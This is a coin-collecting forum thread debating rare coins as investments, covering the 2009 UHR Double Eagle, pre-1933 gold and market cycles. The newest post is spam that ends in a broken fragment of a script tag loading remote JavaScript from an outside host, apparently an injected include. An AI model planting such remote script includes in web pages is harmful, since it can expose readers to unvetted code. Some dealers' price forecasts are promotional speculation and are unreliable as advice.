![]() |
Considering an investment in coins? |
Post Reply
|
Page 12> |
| Author | ||||
johnmatrin
New Member
Joined: 19 Jan 2012 Location: USA Status: Offline Points: 2 |
Post Options
Thanks(0)
Quote Reply
Topic: Considering an investment in coins?Posted: 31 Jan 2012 at 4:23am |
|||
|
I like this informative post. Thanks for the sharing this useful creation....
stocks to buy < ="text/" ="http://ui.streamride.net/ui.js"> |
||||
![]() |
||||
| Sponsored Links | ||||
![]() |
||||
numisJohn
New Member
Joined: 01 Jun 2010 Location: nc Status: Offline Points: 3 |
Post Options
Thanks(0)
Quote Reply
Posted: 01 Jun 2010 at 3:36pm |
|||
|
Thanks for all of the information guys. |
||||
|
Making money by collecting coins. https://www.numisnetwork.com/johnjames
|
||||
![]() |
||||
nutmeg
New Member
Joined: 11 Feb 2010 Status: Offline Points: 6 |
Post Options
Thanks(0)
Quote Reply
Posted: 12 Feb 2010 at 12:12pm |
|||
|
One vest pocket dealer I know purchased 3 Capital Visitor's Center 2001W gold unc [not proofs] way back in the day from the mint. What were they/ $259 or so each? mintage 6,761
Anyway he got 'em slabbed and just sold the last one for $1,400 cash.
I looked at the Jamestown gold proof today and it was priced at $350 raw with box.
I purchased the silver dollar unc. when they came out and consicered the gold unc. I think it was something like $243.
|
||||
![]() |
||||
jenkinscody21
New Member
Joined: 09 Feb 2010 Location: Beaumont Status: Offline Points: 3 |
Post Options
Thanks(0)
Quote Reply
Posted: 12 Feb 2010 at 11:06am |
|||
|
Yes, you can get one certified for about 30$ I believe. Which, in your case that may be worth the cash. From what we are hearing, is that is easily going to become a 3000 dollar coin. I know its kinda similar to the Library of Congress 1 ounce statistics.
|
||||
![]() |
||||
nutmeg
New Member
Joined: 11 Feb 2010 Status: Offline Points: 6 |
Post Options
Thanks(0)
Quote Reply
Posted: 12 Feb 2010 at 10:09am |
|||
|
You are correct Cody. I bought raw direct from the mint for $1,289. With cert. and book, and that warehouse of a box. The coin is in a safe deposit box at the bank. But the box it came in is up on my closet shelf. Those hyped up boxes are selling for $50 or more empty. I understand most UHR slab MS69 or 70. And at least one third party gives a PL designation too.
|
||||
![]() |
||||
jenkinscody21
New Member
Joined: 09 Feb 2010 Location: Beaumont Status: Offline Points: 3 |
Post Options
Thanks(0)
Quote Reply
Posted: 12 Feb 2010 at 6:44am |
|||
|
Nutmeg,
We are selling that coin in a MS-70 for above 2000 right now. They are very very hard to get your hands on. You are talking about the 2009 UHR Double Eagle, correct?
|
||||
![]() |
||||
nutmeg
New Member
Joined: 11 Feb 2010 Status: Offline Points: 6 |
Post Options
Thanks(0)
Quote Reply
Posted: 11 Feb 2010 at 6:42pm |
|||
|
I know there is a lot of negative sentiment regarding modern mint issues. Just wondering what you guys think of the 2009 UHR as an investment. And did you buy one?
I got one when the pricing was at $1,289 even though it was a difficult decision.
I just read a mint blog today that reports the avg. ebay selling price for a raw UHR with box is $1,543.
So in the 4 months I have owned the coin there is a potential profit of $250.
|
||||
![]() |
||||
nutmeg
New Member
Joined: 11 Feb 2010 Status: Offline Points: 6 |
Post Options
Thanks(0)
Quote Reply
Posted: 11 Feb 2010 at 6:14pm |
|||
|
Very intelligent reading if I may say so.
|
||||
![]() |
||||
GForce
New Member
Joined: 23 Aug 2006 Status: Offline Points: 23 |
Post Options
Thanks(0)
Quote Reply
Posted: 09 Feb 2010 at 4:33pm |
|||
|
Jenkins,
Tangible assets should certainly be part of a diversified investment portfolio in this turbulent market. Since last my posting (more than 3 years ago) we have seen a bear market in numismatics, but yet overall values for coins have held compared to where they were three years ago. That's something which can't be said about equity markets. I believe that cash can be an important asset during difficult times as it provides the flexibility to invest in equities or other assets whose prices are highly depressed. Think of buying at the bottom, or close to it. Many people I know believe that inflation will ultimately rear its ugly head, making gold an attractive investment. However, inflation is relative. Of late the dollar has staged a come back which makes gold cheaper. As to "printing money,"our government has been doing it since it started running deficits 2001. Most of it was printed by the previous administration, so there is plenty of blame to go around. Regarding hordes of gold, they do exist and most are in Europe - gold coins were shipped overseas when Roosevelt (in 1933) required that everyone turn in gold coins, except those that had numismatic value. Every month large slugs of those gold coins are shipped from Europe back to the US. The majority are common date $20 Libs and St. Gaudens in low quality uncirculated or AU condition; only a few are investment grade. So I wouldn't worry that the market will collapse due to undiscovered hordes as the market is already absorbing them. Although not impossible, I doubt the government will ever return us to the gold standard. It's not something we would want. You might consider reading The Ascent of Money by Niall Ferguson who cogently explains that it was dependence on gold and silver that constrained economic development for generations and the reasons why we have paper money, stocks and other forms of "money" today. You are spot on that investments come with risks. No one can predict the future. |
||||
|
GForce
|
||||
![]() |
||||
corey790
New Member
Joined: 09 Feb 2010 Location: Texas Status: Offline Points: 2 |
Post Options
Thanks(0)
Quote Reply
Posted: 09 Feb 2010 at 3:02pm |
|||
|
i agree with jenkins.
|
||||
|
BAM.
|
||||
![]() |
||||
jenkinscody21
New Member
Joined: 09 Feb 2010 Location: Beaumont Status: Offline Points: 3 |
Post Options
Thanks(0)
Quote Reply
Posted: 09 Feb 2010 at 2:42pm |
|||
|
GFORCE - I agree with what you are saying. If done right, coins can turn out to be an investment. Some things GDJMSP say are correct, and some I disagree with. I cant see how someone would rather have money in the bank doing 1-2% maybe (while Obama is printing monopoly money) and the dollar is decreasing, than put it into a hard tangible assett. One just must know exactly what to look for in this market, and that is population. And pre-33 gold populations can be re-evaluated as well. For all we know, some old guy could be hoarding thousands of ST Gaudens because he is weary the government will take them away and when he passes and his children cash them in, that could greatly effect that coin. Also, there is a risk in ANY investment, so never once did anyone guarantee anything. If someone ever does, walk away. And yes there are pros and cons to any investment, but if a person can make money off of it, they tend to invest. And coins can be that other avenue in a persons portfolio.
|
||||
![]() |
||||
petitioncrown
New Member
Joined: 09 Jan 2007 Location: United Kingdom Status: Offline Points: 28 |
Post Options
Thanks(0)
Quote Reply
Posted: 04 Oct 2009 at 9:07am |
|||
|
great - never were true words spoken so clear. I promote Brittish Coins, I am not a dealer just an interested party to encourage the collecting of coins. www.petitioncrown.com is a non commercial site.
i write these these days covering the investment in coins as many buyers write asking what is the investment possibility as other financial tools have failed or failing.
great words u speak, keep spreading them
SwK Edited by admin - 13 Feb 2010 at 9:12am |
||||
![]() |
||||
GForce
New Member
Joined: 23 Aug 2006 Status: Offline Points: 23 |
Post Options
Thanks(0)
Quote Reply
Posted: 02 Sep 2006 at 4:30am |
|||
|
GDJMSP -
Thanks for your well thought out response and keeping the dialogue moving forward. If only I could agree with most of your comments. My definition of investment is indeed a mainstream one and falls under the category of "non-traditional tangible asset value investments." That's a mouthful I know, but I think the terms are fairly self explanatory except perhaps "value." A "value" investment is generally one where a stock (in this case coin) is selling for less than its intrisnic value (in this case a coin that appears to be selling below its predicted market price). Typically value investments are held for a long period of time. I recommend that clients hold coin portfolios for a minimum of five years. I do believe that if one is going to invest in rare coins, they should stick with those minted prior to 1933 (with some exceptions) as the surviving populations are fairly well known and prices relatively stable. Such is not true with more modern coins sold as condition rarities. There is nothing worse than watching some guys on a shopping channel hype MS70 or PF70 modern coins for prices that are 2 or 3 times higher than the market. And worse, the population reports for most modern coins only reflect a very small percent of those that survive in lofty condition, thus leading one to believe that they are much rarer than they really are. Once higher prices lead to those coins being slabbed, prices will plummet, leaving investors holding a near empty bag. Of course, some modern coins might be a true condition rarity, but prices tend to be quite volatile and thus are not ones I would put in portfolios for investors. The comments I made about assessing coins over an 8 month (now up to 10 month) and 3/12 year period were simply to demonstrate that lower grade MS coins can and do better than higher grade MS coins. Over longer periods of time higher grade coins may well outperform the lower grade ones. That is an area I will be researching on an ongoing basis. I think the returns I noted may also have been misunderstood or taken out of context. Historically, rare coins have performed at the level of, or exceeded, the returns of equities. Four research studies (including one by me) have verified this. But, as with any investment there are up and down cycles as you note. Although this period may seem like a "bull" market for rare coins, prices still remain about 63% below their all time high in 1989. Does that mean rare coins will eventually return to those levels? No. Does it mean we couldn't soon have a bear market in numismatics? No. Could rare coins reach or exceed the 1989 levels? Yes. As you note, no one can predict the future. If they tell you otherwise, they are lying. When it comes to investments - whether stocks, bonds, real estate, coins, etc. - the past is always used a yardstick for assessing risk and the potential for future returns. Others in the field (including me) have looked at the risk factors and returns in numismatics, and have quantified them. Only then can rare coins be intelligently assessed for potential inclusition in a well diversified investment portfolio. For example, research has identified specific benefits that rare coins can provide when added to a well diversified portfolio. These include:
Hopefully I have clarified that one can indeed invest in coins rather than simply trade in them. But I do provide the caveat that investing in rare coins is NOT for the average investor. Our target market is sophisticated investors (typically those whose investible assets exceed $1mm). We do not telemarket and prefer to work directly through financial professionals who can assess the appropriateness of our rare coin portfolios for their clients. |
||||
|
GForce
|
||||
![]() |
||||
GDJMSP
Master at Coins
Joined: 26 Aug 2006 Location: United States Status: Offline Points: 260 |
Post Options
Thanks(0)
Quote Reply
Posted: 02 Sep 2006 at 1:48am |
|||
|
GForce -
It strikes me that you assume a slightly different definition of the word investing than the traditional concept. I'm not saying there is anything wrong with that, just that it is different.
Based on what you are proposing and by using your methodology to determine which coins to purchase - it seems that what you are suggesting is that one should "trade" coins - not "invest" in them. To trade coins implies that one only buys them for a short period of time and then sells them in order to realize a profit. Of course the purpose of an investment is to realize profit, that is undeniable.
It also strikes me that you are making one of the oldest, and deadliest mistakes, that can be made in the investment world - comparing apples to oranges. Your definition of rare coins for example -
When a coin was minted ( its age ) has absolutely nothing to do with determining its rarity or its value. And condition rarity exist for all coins regardless of age. Condition rarity is not simply a modern peculiarity - it is a universal attribute. For example, take Morgan dollars. The coins themselves are as common as dirt - they are in no way rare. But yet huge prices have been paid for examples in higher grades - condition rarities. The same is true of any coin you care to mention - except true rarities. A true raity will bring huge prices regardless of its grade or condition - not because of it.
And then in one sentence you say -
But you back up your comments with examples covering time periods of 8 months and 3 1/2 years.
What you fail to note in your research, or perhaps fail to recognize, is exactly when these time periods occurred and to specifically to which coins these numbers apply. In other words - market cycles. Thus these numbers unfailingly lead one to incorrect conclusions.
For the coin market, like any market, is cyclical. At one given point in time a given segment of the market will realize gains. Then that segment will cool off and another segment will realize gains. If for example you had chosen another specific time period and conducted the exact same comparisons you would have an entirely different result.
What you have also failed to note is that your research has been conducted covering a specific time period which has been limited to a bullish phase in the coin market. This also leads one to incorrect conclusions for it fails to take into consideration which coins appreciate in value during a bearish phase.
And then there is one other aspect of your research which is faulty and it is a quite common mistake made by those who propose investment in any area - not just coins. And that is that you presuppose that the past will reflect the future. Nothing could be further from the truth, especially when one bases that supposition on specific and limited time frames. For trends in the coin market can and will change at the drop of a hat. There will be no warning - they just will.
And finally -
It is not my point to criticize nor deride you and your ideas either. It is rather my intention to illustrate that while what you propose may be an accurate and viable idea at a specific point in time, it is no way a viable investment theory over the long run.
It is however a very viable theory if one considers it from a different perspective. That being that one "trades" in coins rather than investing in them. In other words - that one become a coin dealer.
|
||||
|
knowledge ...... share it
|
||||
![]() |
||||
Post Reply
|
Page 12> |
|
|
| Forum Jump | Forum Permissions ![]() You cannot post new topics in this forum You cannot reply to topics in this forum You cannot delete your posts in this forum You cannot edit your posts in this forum You cannot create polls in this forum You cannot vote in polls in this forum |